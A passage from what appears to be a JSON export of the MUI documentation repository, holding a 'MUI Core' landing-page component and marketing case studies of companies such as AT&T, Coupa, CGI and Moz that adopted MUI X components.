    "content": "import Divider from '@mui/material/Divider';\nimport Head from 'docs/src/modules/components/Head';\nimport { BrandingCssVarsProvider } from '@mui/docs/branding';\nimport AppHeader from 'docs/src/layouts/AppHeader';\nimport CoreHero from 'docs/src/components/productCore/CoreHero';\nimport CoreProducts from 'docs/src/components/productCore/CoreProducts';\nimport AppFooter from 'docs/src/layouts/AppFooter';\nimport AppHeaderBanner from 'docs/src/components/banner/AppHeaderBanner';\nimport Testimonials from 'docs/src/components/home/Testimonials';\n\nexport default function Core() {\n  return (\n    <BrandingCssVarsProvider>\n      <Head\n        title=\"MUI Core: Ready-to-use React components, free forever\"\n        description=\"Get a growing list of React components, ready-to-use, free forever and with accessibility always in mind.\"\n        card=\"/static/social-previews/core-preview.jpg\"\n      />\n      <AppHeaderBanner />\n      <AppHeader gitHubRepository=\"https://github.com/mui/material-ui\" />\n      <main id=\"main-content\">\n        <CoreHero />\n        <CoreProducts />\n        <Divider />\n        <Testimonials />\n        <Divider />\n      </main>\n      <AppFooter stackOverflowUrl=\"https://stackoverflow.com/questions/tagged/material-ui\" />\n    </BrandingCssVarsProvider>\n  );\n}\n"
  },
  {
    "path": "docs/pages/customers/athena.js",
    "content": "import * as React from 'react';\nimport TopLayoutCaseStudy from 'docs/src/modules/components/TopLayoutCaseStudy';\nimport { docs } from './athena.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCaseStudy docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/customers/athena.md",
    "content": "---\ntitle: Athena Intelligence\ndescription: How Athena Intelligence accelerated UI development with MUI X.\nimage: '/static/branding/companies/athena-light.png'\nrank: '9'\ntags: ['MUI X']\nmanualCard: true\n---\n\n<style>\n  #blog-responsive-image {\n    height: 230px;\n    @media (max-width: 600px) {\n      height: 167px;\n    }\n  }\n  blockquote::before {\n    content: none;\n  }\n</style>\n\n<span class=\"only-light-mode\">\n<img\n  id=\"blog-responsive-image-light\"\n  src=\"/static/branding/companies/athena-light.png\"\n  alt=\"Athena logo\"\n  style=\"width: 40%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n/>\n</span>\n<span class=\"only-dark-mode\">\n<img\n    id=\"blog-responsive-image-dark\"\n    src=\"/static/branding/companies/athena-dark.png\"\n    alt=\"Athena logo\"\n    style=\"width: 40%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n  />\n</span>\n\n**Partner Since: 2023**\n\n## Overview\n\n[Athena Intelligence](https://www.athenaintel.com/) has developed an AI-native analytics platform designed for enterprises. Athena Olympus automates labor-intensive data analysis tasks, allowing human analysts to focus on strategic decision-making.\n\n<span class=\"only-light-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #f5f5f7; border-left: 6px solid var(--muidocs-palette-primary-main); border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  We started using MUI components from day one to provide a wide range of UIs that support data workflows for enterprise teams. MUI X enabled us to iterate faster by offering complex UI components like data grids.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #555; font-weight: 500;\">\n    – <a href=\"https://www.linkedin.com/in/brendongeils/\" target=\"_blank\" rel=\"noopener\">Brendon Geils</a>, Founder & CEO\n  </span>\n</blockquote>\n</span>\n<span class=\"only-dark-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: var(--muidocs-palette-background-default); border-left: 6px solid var(--muidocs-palette-primary-main); color: #f5f5f7; border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  We started using MUI components from day one to provide a wide range of UIs that support data workflows for enterprise teams. MUI X enabled us to iterate faster by offering complex UI components like data grids.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #bbb; font-weight: 500;\">\n    – <a href=\"https://www.linkedin.com/in/brendongeils/\" target=\"_blank\" rel=\"noopener\">Brendon Geils</a>, Founder & CEO\n  </span>\n</blockquote>\n</span>\n\n## Challenge\n\nAthena needed a customizable and performant UI library to build their schema management interface, which required handling large datasets and ensuring a smooth UX.\n\n## Solution\n\nTo power their schema management interface, Athena integrated the Data Grid and the Tree View, leveraging MUI X's structured approach to UI development.\nKey benefits of using MUI X included:\n\n- Higher-level abstractions – Built on top of Material UI for seamless integration.\n- Faster iteration cycles – Simplified the development of complex UI components.\n- Component-based architecture – Aligned perfectly with React's ecosystem.\n- Efficient code organization – Improved maintainability over inline styling methods like Tailwind CSS.\n\n<img\n  id=\"athena-ui\"\n  src=\"/static/branding/companies/athena-ui.png\"\n  alt=\"\"\n  style=\"width: 100%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n/>\n\nIn the image above from Athena's platform, the Tree View in the first column neatly organizes the assets, while the customized and responsive Data Grid in the third column shows query output in a tabular form.\n\n## Results\n\nAfter integrating MUI X, Athena saw:\n\n- Increased development speed – Reducing time-to-market for complex UI features.\n- Improved UI consistency – A polished and cohesive experience across the platform.\n- Better performance and flexibility – Smooth, interactive data management without performance bottlenecks.\n\nA defining moment came when the team rapidly implemented direct asset renaming and customized components using MUI X.\nThe ease of integration and instant improvements in interactivity and UI cohesion reinforced the library's powerful capabilities.\n\n## Developer experience\n\nAthena found the MUI documentation to be highly detailed, structured, and clear. The step-by-step guides helped them implement complex features like cell editing, selection, and customization easily. Developers additionally liked the seamless React integration as it helped them optimize the development process, accelerating feature rollouts and overall delivery speed.\n\nMUI X is now an essential tool in Athena's development stack, enabling rapid, scalable, and high-performance UI solutions.\n"
  },
  {
    "path": "docs/pages/customers/att.js",
    "content": "import * as React from 'react';\nimport TopLayoutCaseStudy from 'docs/src/modules/components/TopLayoutCaseStudy';\nimport { docs } from './att.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCaseStudy docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/customers/att.md",
    "content": "---\ntitle: AT&T\ndescription: Streamlining development workflows for internal tools.\nimage: '/static/branding/companies/atnt_spotlight.svg'\ntags: ['MUI X']\nrank: '4'\nmanualCard: true\n---\n\n<style>\n  #blog-responsive-image {\n    height: 230px;\n    @media (max-width: 600px) {\n      height: 167px;\n    }\n  }\n  blockquote::before {\n    content: none;\n  }\n</style>\n\n# AT&T | Streamlining development workflows for internal tools\n\n<img\n  id=\"blog-responsive-image\"\n  src=\"/static/branding/companies/headers/atnt-header.png\"\n  alt=\"AT&T logo\"\n  style=\"width: 100%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n/>\n\n## Overview\n\n[AT&T](https://www.att.com/), a leading global telecommunications company, develops advanced tools to enhance productivity and performance across its retail and call-center teams.\nTheir internal applications, MyResults and MyCOACH, serve as key platforms for performance tracking and coaching within the organization.\n\n<span class=\"only-light-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #f5f5f7; border-left: 6px solid var(--muidocs-palette-primary-main); border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  MUI X has enabled us to develop faster and maintain standards across our multiple applications.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #555; font-weight: 500;\">\n    – <a href=\"https://www.linkedin.com/in/blisskeith/\" target=\"_blank\" rel=\"noopener\">Bliss Keith</a>, Principal Scrum Master\n  </span>\n</blockquote>\n</span>\n<span class=\"only-dark-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: var(--muidocs-palette-background-default); border-left: 6px solid var(--muidocs-palette-primary-main); color: #f5f5f7; border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  MUI X has enabled us to develop faster and maintain standards across our multiple applications.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #bbb; font-weight: 500;\">\n    – <a href=\"https://www.linkedin.com/in/blisskeith/\" target=\"_blank\" rel=\"noopener\">Bliss Keith</a>, Principal Scrum Master\n  </span>\n</blockquote>\n</span>\n\n## Challenge\n\nAT&T needed a highly customizable, efficient UI solution to help them deliver more consistent performance dashboards across their applications.\nThey wanted to have a standard look and feel across their dashboards and were looking for a solution that would accelerate their development speed.\n\n## Solution\n\nTo power MyResults and MyCOACH, AT&T integrated the Data Grid, leveraging its robust features and flexible customization options.\nKey benefits of using the Data Grid included:\n\n- The technical team's productivity improved, as leveraging the Data Grid enabled them to build better applications, faster.\n- The team could customize the component to meet their use case. For one of their apps that includes many columns, the column pinning feature was crucial to delivering a good UX.\n- The team liked how the components work immediately with minimal configuration.\n\n## Results\n\nBy integrating MUI X, AT&T achieved:\n\n- Increased development speed ensuring faster feature delivery, enabling them move to a more agile process.\n- A consistent-looking interface across all applications improved the overall UX, enabling internal users to focus on their core tasks.\n\n## Developer experience\n\nAT&T's developers found the MUI documentation to be clear and reliable, ensuring smooth implementation without issues. They found that MUI X integrated easily with other popular React libraries, reinforcing its value as the go-to UI library for AT&T's internal applications.\n"
  },
  {
    "path": "docs/pages/customers/cgi.js",
    "content": "import * as React from 'react';\nimport TopLayoutCaseStudy from 'docs/src/modules/components/TopLayoutCaseStudy';\nimport { docs } from './cgi.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCaseStudy docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/customers/cgi.md",
    "content": "---\ntitle: CGI\ndescription: How CGI's Techyon Project enhanced performance and usability with MUI X.\nimage: '/static/branding/companies/cgi_spotlight.svg'\ntags: ['MUI X']\nrank: '5'\nmanualCard: true\n---\n\n<style>\n  #blog-responsive-image {\n    height: 230px;\n    @media (max-width: 600px) {\n      height: 167px;\n    }\n  }\n  blockquote::before {\n    content: none;\n  }\n</style>\n\n# How CGI's Techyon Project enhanced performance and usability with MUI X\n\n<img\n    id=\"blog-responsive-image\"\n    src=\"/static/branding/companies/headers/cgi-header.png\"\n    alt=\"CGI logo\"\n    style=\"width: 100%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n  />\n\n## Overview\n\n[CGI](https://www.cgi.com/en) is a global leader in IT and business consulting, providing innovative digital solutions across various industries.\nTheir Techyon project is dedicated to transforming the energy sector by integrating AI, machine learning, IoT, and cloud-based services to optimize internal operations and data flow.\n\n<span class=\"only-light-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #f5f5f7; border-left: 6px solid var(--muidocs-palette-primary-main); border-radius: 8px; font-size: 1 rem; font-style: italic;\">\n  MUI X helps our developers—who aren't designers—effortlessly create well-designed interfaces. The structured and strict nature of the components ensures a consistent development process, which is crucial for maintaining quality.\n  <br>\n  <br>\n  When we switched to MUI X's Data Grid and fine-tuned it, the performance issues disappeared—it felt like pure magic. MUI X quickly became a go-to tool in Techyon's stack, helping CGI deliver a high-performance, future-ready solution for the energy industry.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #555; font-weight: 500;\">\n    – Helge Andersen, Team Lead\n  </span>\n</blockquote>\n</span>\n<span class=\"only-dark-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: var(--muidocs-palette-background-default); border-left: 6px solid var(--muidocs-palette-primary-main); color: #f5f5f7; border-radius: 8px; font-size: 1 rem; font-style: italic;\">\n  MUI X helps our developers—who aren't designers, effortlessly create well-designed interfaces. The structured and strict nature of the components ensures a consistent development process, which is crucial for maintaining quality.\n  <br>\n  When we switched to MUI X's Data Grid and fine-tuned it, the performance issues disappeared—it felt like pure magic. MUI X quickly became a go-to tool in Techyon's stack, helping CGI deliver a high-performance, future-ready solution for the energy industry.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #bbb; font-weight: 500;\">\n    – Helge Andersen, Team Lead\n  </span>\n</blockquote>\n</span>\n\n## Challenge\n\nAs the energy sector was undergoing rapid transformation, CGI needed a high-performance, scalable GUI to support Techyon's advanced capabilities.\nTheir key challenges included:\n\n- Performance bottlenecks, as handling massive data from their Google Cloud without pagination led to slow load times and poor UX.\n- Creating an intuitive, consistent, and user-friendly interface for energy operators and analysts.\n- Ensuring developers could quickly build and iterate without wasting time on minor yet complex UI issues.\n\n## Solution\n\nCGI adopted the Data Grid as the foundation for Techyon's GUI, providing:\n\n- A seamless, modern UI for managing workflows and energy data.\n- High-performance data handling, even with tens of thousands of rows displayed at once.\n- Structured, easy-to-use components, enabling developers to build interfaces effortlessly.\n- A consistent design system, ensuring a professional and unified look across the platform.\n\n## Results\n\nAfter implementing MUI X, the Techyon team no longer had to deal with a sluggish UI, and could reap the benefits of instant data loading for large datasets. A streamlined design process that enabled their developers to create polished interfaces without needing a design background. MUI X's well-documented components simplified UI implementation and helped them achieve faster development cycles.\n\n## Developer experience\n\nCGI's team found MUI X's documentation to be clear, organized, and developer-friendly, making it easy for both new and experienced developers to use components.\n\n:::info\nPro tip from CGI: For developers handling large datasets, MUI X's Data Grid is highly optimized out of the box, but profiling your UI and using pagination or lazy loading can further enhance performance.\n:::\n\nFor teams looking to build data-heavy applications efficiently, CGI highly recommends MUI X as a powerful, time-saving solution.\nIts advanced components (such as grids, filters, and tables) provide both flexibility and enterprise-grade performance.\n"
  },
  {
    "path": "docs/pages/customers/coupa.js",
    "content": "import * as React from 'react';\nimport TopLayoutCaseStudy from 'docs/src/modules/components/TopLayoutCaseStudy';\nimport { docs } from './coupa.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCaseStudy docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/customers/coupa.md",
    "content": "---\ntitle: Coupa\ndescription: Delivering features 50% faster with MUI Components.\nimage: '/static/branding/companies/coupa_spotlight.svg'\nrank: '3'\ntags: ['MUI X']\nmanualCard: true\n---\n\n<style>\n  #blog-responsive-image {\n    height: 230px;\n    @media (max-width: 600px) {\n      height: 167px;\n    }\n  }\n  blockquote::before {\n    content: none;\n  }\n</style>\n\n# Coupa | Delivering features 50% faster with MUI components\n\n<img\n  id=\"blog-responsive-image-light\"\n  src=\"/static/branding/companies/headers/coupa-header.png\"\n  alt=\"Coupa logo\"\n  style=\"width: 100%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n/>\n\n## Overview\n\n[Coupa Software](https://www.coupa.com/) is a cloud-based spend management platform that helps businesses streamline procurement, invoicing, expense management, and supplier management. They needed to modernize their frontend components to meet strict deadlines for a new mid-market product. They selected MUI to replace their outdated in-house component library, leveraging MUI's comprehensive ecosystem and advanced components.\n\n<span class=\"only-light-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #f5f5f7; border-left: 6px solid var(--muidocs-palette-primary-main); border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  We had very strict and aggressive deadlines, and we were able to meet them. If we had done it using our own components, it probably would have been at least six to eight months over the deadline. So, with MUI we got 50% faster. But when you put that on a longer horizon, I think that number is bigger because of [the benefits when tackling] maintenance, and shifting paradigms and business needs.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #555; font-weight: 500;\">\n    – <a href=\"https://www.linkedin.com/in/ali-sipahi/\" target=\"_blank\" rel=\"noopener\">Ali Sipahi</a>, Engineering Manager\n  </span>\n</blockquote>\n</span>\n<span class=\"only-dark-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: var(--muidocs-palette-background-default); border-left: 6px solid var(--muidocs-palette-primary-main); color: #f5f5f7; border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  We had very strict and aggressive deadlines, and we were able to meet them. If we had done it using our own components, it probably would have been at least six to eight months over the deadline. So, with MUI we got 50% faster. But when you put that on a longer horizon, I think that number is bigger because of [the benefits when tackling] maintenance, and shifting paradigms and business needs.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #bbb; font-weight: 500;\">\n    – <a href=\"https://www.linkedin.com/in/ali-sipahi/\" target=\"_blank\" rel=\"noopener\">Ali Sipahi</a>,  Engineering Manager\n  </span>\n</blockquote>\n</span>\n\n## Challenge\n\nCoupa was struggling with a twelve year old in-house component library that was:\n\n- built on React 17 but difficult to maintain and update\n- lacking a unified design system\n- limited in component offerings\n- difficult to scale as it was built specifically for one application\n- marred by inconsistent component nomenclature\n\nAs Ali explained, it was built over a long period of time and without a complete plan, so some things were difficult to update and maintain. It didn't have a design system behind it, which made it difficult to create a unified appearance.\n\n## Solution\n\nAfter researching various options, Coupa implemented MUI with a focus on:\n\n- Creating custom theme to match their existing design system\n- Integrating MUI components within a greenfield application\n- Expanding usage from core components to MUI X advanced components (Date Picker and Charts)\n\n## Results\n\nAfter integrating MUI X, Coupa managed to meet an aggressive one-year product delivery deadline resulting in a 50% faster time to market.\nThey significantly enhanced the UX with a unified, modern interface.\nThey also increased the platform production quality with reduced P0 and P1 bugs.\nRecently, they also integrated MUI X Charts in a new AI chatbot feature:\n\n<img\n  id=\"coupa-ui\"\n  src=\"/static/branding/companies/coupa-ui.png\"\n  alt=\"\"\n  style=\"width: 100%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n/>\n\n## Developer experience\n\nThe switch to MUI dramatically improved the developer workflow as the consistent component APIs made implementation timelines predictable.\nThe MUI component structure and the comprehensive documentation reduced the learning time and simplified onboarding for new team members.\nIt also reduced friction between design and development teams.\n\n<span class=\"only-light-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #f5f5f7; border-left: 6px solid var(--muidocs-palette-primary-main); border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\nI think our biggest advantage with using MUI is the maturity of the product. Beyond a dedicated team that offers enterprise level support, there's a big community around it. It's easy to find resources. While some of the newer libraries might do some shiny new things, their reliability and the future is always questionable. - Ali\n</blockquote>\n</span>\n<span class=\"only-dark-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #0D161F; border-left: 6px solid var(--muidocs-palette-primary-main); color: #f5f5f7; border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\nI think our biggest advantage with using MUI is the maturity of the product. Beyond a dedicated team that offers enterprise level support, there's a big community around it. It's easy to find resources. While some of the newer libraries might do some shiny new things, their reliability and the future is always questionable. - Ali\n</blockquote>\n</span>\n"
  },
  {
    "path": "docs/pages/customers/delivery-hero.js",
    "content": "import * as React from 'react';\nimport TopLayoutCaseStudy from 'docs/src/modules/components/TopLayoutCaseStudy';\nimport { docs } from './delivery-hero.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCaseStudy docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/customers/delivery-hero.md",
    "content": "---\ntitle: Delivery Hero\ndescription: How Delivery Hero's Partner Portal streamlined development with MUI X.\nimage: '/static/branding/companies/deliveryhero_spotlight.svg'\ntags: ['MUI X']\nrank: '7'\nmanualCard: true\n---\n\n<style>\n  #blog-responsive-image {\n    height: 230px;\n    @media (max-width: 600px) {\n      height: 167px;\n    }\n  }\n  blockquote::before {\n    content: none;\n  }\n</style>\n\n# How Delivery Hero's Partner Portal streamlined development with MUI X\n\n<img\n    id=\"blog-responsive-image\"\n    src=\"/static/branding/companies/headers/deliveryhero-header.png\"\n    alt=\"Delivery Hero logo\"\n    style=\"width: 100%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n  />\n\n## Overview\n\n[Delivery Hero](https://www.deliveryhero.com/) is a leading local delivery platform, operating in around 70 countries. They connect customers with restaurants, shops, and essential services through fast, technology-driven delivery solutions. Their Partner Portal provides restaurant and vendors with tools to manage operations efficiently, enhance customer experience, and optimizing performance.\n\n<span class=\"only-light-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #f5f5f7; border-left: 6px solid var(--muidocs-palette-primary-main); border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  By leveraging the Date Time Picker and Data Grid, we have been able to provide our customers with cutting-edge, well-designed features in a shorter development time and with less effort.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #555; font-weight: 500;\">\n    – Ahmed Ibrahim, Senior Manager Software Engineering, Vendor Growth\n  </span>\n</blockquote>\n</span>\n<span class=\"only-dark-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: var(--muidocs-palette-background-default); border-left: 6px solid var(--muidocs-palette-primary-main); color: #f5f5f7; border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  By leveraging the Date Time Picker and Data Grid, we have been able to provide our customers with cutting-edge, well-designed features in a shorter development time and with less effort.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #bbb; font-weight: 500;\">\n    – Ahmed Ibrahim, Senior Manager Software Engineering, Vendor Growth\n  </span>\n</blockquote>\n</span>\n\n## Challenge\n\nBefore adopting MUI X, the Delivery Hero team faced two major challenges:\n\n- Fixing vendor reported bugs and implementing feature requests took time due to the slow development speed. Building, testing, and refining UI components was a slow process.\n- Ensuring a consistent, easy-to-use and performant experience for end users was difficult.\n\n## Solution\n\nTo address these challenges, the team integrated the Date and Time Pickers and Data Grid into their platform.\nThese components enabled them to:\n\n- Accelerate development by using pre-built, high-quality components. This reduced the time spent on UI implementation.\n- Enhance usability by offering a modern, sleek UI that improves user interactions and consistency.\n- Optimize performance by providing a smooth experience for restaurant and shop managers.\n\n## Results\n\nAfter implementing MUI X, the team saw immediate benefits. UI development became faster and more efficient, which gave them more time to focus on business features.\n\nOne key success story was the implementation of the Date Time Picker, which significantly reduced the number of clicks required for users to achieve their desired results.\nThis simple enhancement greatly improved user efficiency and satisfaction.\n\n## Developer experience\n\nThe team praised the MUI documentation, describing it as clear, well-structured, and easy to follow. This helped their developers integrate and customize components effortlessly.\nFor developers looking to build modern, high-performance UI components with minimal effort, the Delivery Hero team highly recommends MUI X.\n"
  },
  {
    "path": "docs/pages/customers/john-deere.js",
    "content": "import * as React from 'react';\nimport TopLayoutCaseStudy from 'docs/src/modules/components/TopLayoutCaseStudy';\nimport { docs } from './john-deere.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCaseStudy docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/customers/john-deere.md",
    "content": "---\ntitle: John Deere\ndescription: How John Deere standardized UI development with MUI X.\nimage: '/static/branding/companies/johndeere_spotlight.svg'\ntags: ['MUI X']\nrank: '6'\nmanualCard: true\n---\n\n<style>\n  #blog-responsive-image {\n    height: 230px;\n    @media (max-width: 600px) {\n      height: 167px;\n    }\n  }\n  blockquote::before {\n    content: none;\n  }\n</style>\n\n# How John Deere standardized UI development with MUI X\n\n<img\n    id=\"blog-responsive-image\"\n    src=\"/static/branding/companies/headers/johndeere-header.png\"\n    alt=\"John Deere logo\"\n    style=\"width: 100%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n  />\n\n## Overview\n\n[John Deere](https://www.deere.com/en/) is a global leader in agricultural, construction, and forestry machinery, as well as diesel engines and financial services, and is recognized globally for its innovation and quality in these sectors.\nWith a strong emphasis on innovation, their teams build solutions that enhance efficiency and productivity across industries.\n\n<span class=\"only-light-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #f5f5f7; border-left: 6px solid var(--muidocs-palette-primary-main); border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  MUI X has provided us with a baseline of standardized components to rely on where our design system may not necessarily fill a needed gap.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #555; font-weight: 500;\">\n    – Tyler Mitchell, Engineering Manager\n  </span>\n</blockquote>\n</span>\n<span class=\"only-dark-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: var(--muidocs-palette-background-default); border-left: 6px solid var(--muidocs-palette-primary-main); color: #f5f5f7; border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  MUI X has provided us with a baseline of standardized components to rely on where our design system may not necessarily fill a needed gap.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #bbb; font-weight: 500;\">\n   – Tyler Mitchell, Engineering Manager\n  </span>\n</blockquote>\n</span>\n\n## Challenge\n\nWith multiple teams working towards different design goals, maintaining consistency for developers was a major challenge.\nFrontend teams at John Deere needed a reliable, standardized component library to bridge the gaps in their internal design system.\n\n## Solution\n\nBy integrating MUI X, John Deere's teams found a baseline of standardized components to rely on, ensuring a cohesive development approach in places where their in-house Fuel Design System didn't provide the necessary coverage.\n\n## Results\n\n- Improved consistency – Developers could use MUI X as a standardized foundation across teams.\n- Faster development – Teams saved time by leveraging ready-to-use, high-performance, battle-tested components.\n- Enhanced flexibility – MUI X filled in the gaps where the internal design system fell short.\n"
  },
  {
    "path": "docs/pages/customers/moz.js",
    "content": "import * as React from 'react';\nimport TopLayoutCaseStudy from 'docs/src/modules/components/TopLayoutCaseStudy';\nimport { docs } from './moz.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCaseStudy docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/customers/moz.md",
    "content": "---\ntitle: Moz\ndescription: How Moz optimized large-scale keyword analysis with MUI X.\nimage: '/static/branding/companies/moz_spotlight.svg'\ntags: ['MUI X']\nrank: '8'\nmanualCard: true\n---\n\n<style>\n  #blog-responsive-image {\n    height: 230px;\n    @media (max-width: 600px) {\n      height: 167px;\n    }\n  }\n  blockquote::before {\n    content: none;\n  }\n</style>\n\n# How Moz optimized large-scale keyword analysis with MUI X\n\n<img\n    id=\"blog-responsive-image\"\n    src=\"/static/branding/companies/headers/moz-header.png\"\n    alt=\"MOZ logo\"\n    style=\"width: 100%; height: auto; object-fit: cover; object-position: top left; border: 0px; margin-left: 0; margin-bottom: 20px; display: block; text-align: left;\"\n  />\n\n## Overview\n\n[Moz](https://moz.com/), a leader in SEO software and analytics, provides powerful tools for keyword research, site audits, and rank tracking.\nTo handle large-scale keyword analysis, Moz required a robust UI solution capable of managing massive datasets efficiently.\n\n<span class=\"only-light-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #f5f5f7; border-left: 6px solid var(--muidocs-palette-primary-main); border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  MUI X provides access to a very optimized and consistent DX and UX for a key portion of our app.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #555; font-weight: 500;\">\n    – Darko Cejkov, Front-end Developer\n  </span>\n</blockquote>\n</span>\n<span class=\"only-dark-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: var(--muidocs-palette-background-default); border-left: 6px solid var(--muidocs-palette-primary-main); color: #f5f5f7; border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\n  MUI X provides access to a very optimized and consistent DX and UX for a key portion of our app.\n  <br>\n  <span style=\"display: block; margin-top: 12px; font-size: 1rem; font-style: normal; color: #bbb; font-weight: 500;\">\n    – Darko Cejkov, Front-end Developer\n  </span>\n</blockquote>\n</span>\n\n## Challenge\n\nMoz needed a UI library that could:\n\n- Efficiently cater to customer requests and offer a robust handling of large keyword datasets.\n- Support customization for filtering, sorting, grouping and showing data in complex data grids in a readable way.\n- Give a consistent and standard experience to the UI across all user facing applications.\n\n## Solution\n\nTo meet these challenges, Moz integrated Data Grid and Date Picker components to create an optimized, interactive, and performant UI.\nKey benefits of using MUI X included:\n\n- Great DX and UX – a developer-friendly and intuitive user experience.\n- Advanced customization capabilities – Data Grid API refs allowed them to build a UI for filtering and column management, a game-changer for their keyword analysis platform.\n- Faster feature development – accelerating product delivery across the platform.\n\n## Results\n\nBy adopting MUI X, Moz could handle large keyword datasets efficiently with MUI X's performance optimizations, which helped them scale their platform. They could neatly display vast amounts of keyword data that the end users find easy to navigate. The highly customizable Data Grid enables them to offer advanced filtering and column management features to their end users.\n\n## Developer experience\n\nMoz developers found MUI documentation intuitive and in-depth, making customizations straightforward.\n\n:::info\nMoz pro tip: \"Read the docs thoroughly—there are many small examples that can greatly help with customization.\"\n:::\n\n<span class=\"only-light-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #f5f5f7; border-left: 6px solid var(--muidocs-palette-primary-main); border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\nMUI X is recommended for developers working with large-scale, data-intensive applications.\nIts performance, flexibility, and ease of use makes it a top choice for scalable UI development. - Darko\n</blockquote>\n</span>\n<span class=\"only-dark-mode\">\n<blockquote style=\"margin: 32px 0; padding: 24px 32px; background: #0D161F; border-left: 6px solid var(--muidocs-palette-primary-main); color: #f5f5f7; border-radius: 8px; font-size: 1.15rem; font-style: italic;\">\nMUI X is recommended for developers working with large-scale, data-intensive applications.\nIts performance, flexibility, and ease of use makes it a top choice for scalable UI development. - Darko\n</blockquote>\n</span>\n"
  },
  {
    "path": "docs/pages/customers/oregon.js",
    "content": "import * as React from 'react';\nimport TopLayoutCaseStudy from 'docs/src/modules/components/TopLayoutCaseStudy';\nimport { docs } from './oregon.md?muiMarkdown';\n\nexport default function Page() {\n  return <TopLayoutCaseStudy docs={docs} />;\n}\n"
  },
  {
    "path": "docs/pages/customers/oregon.md",
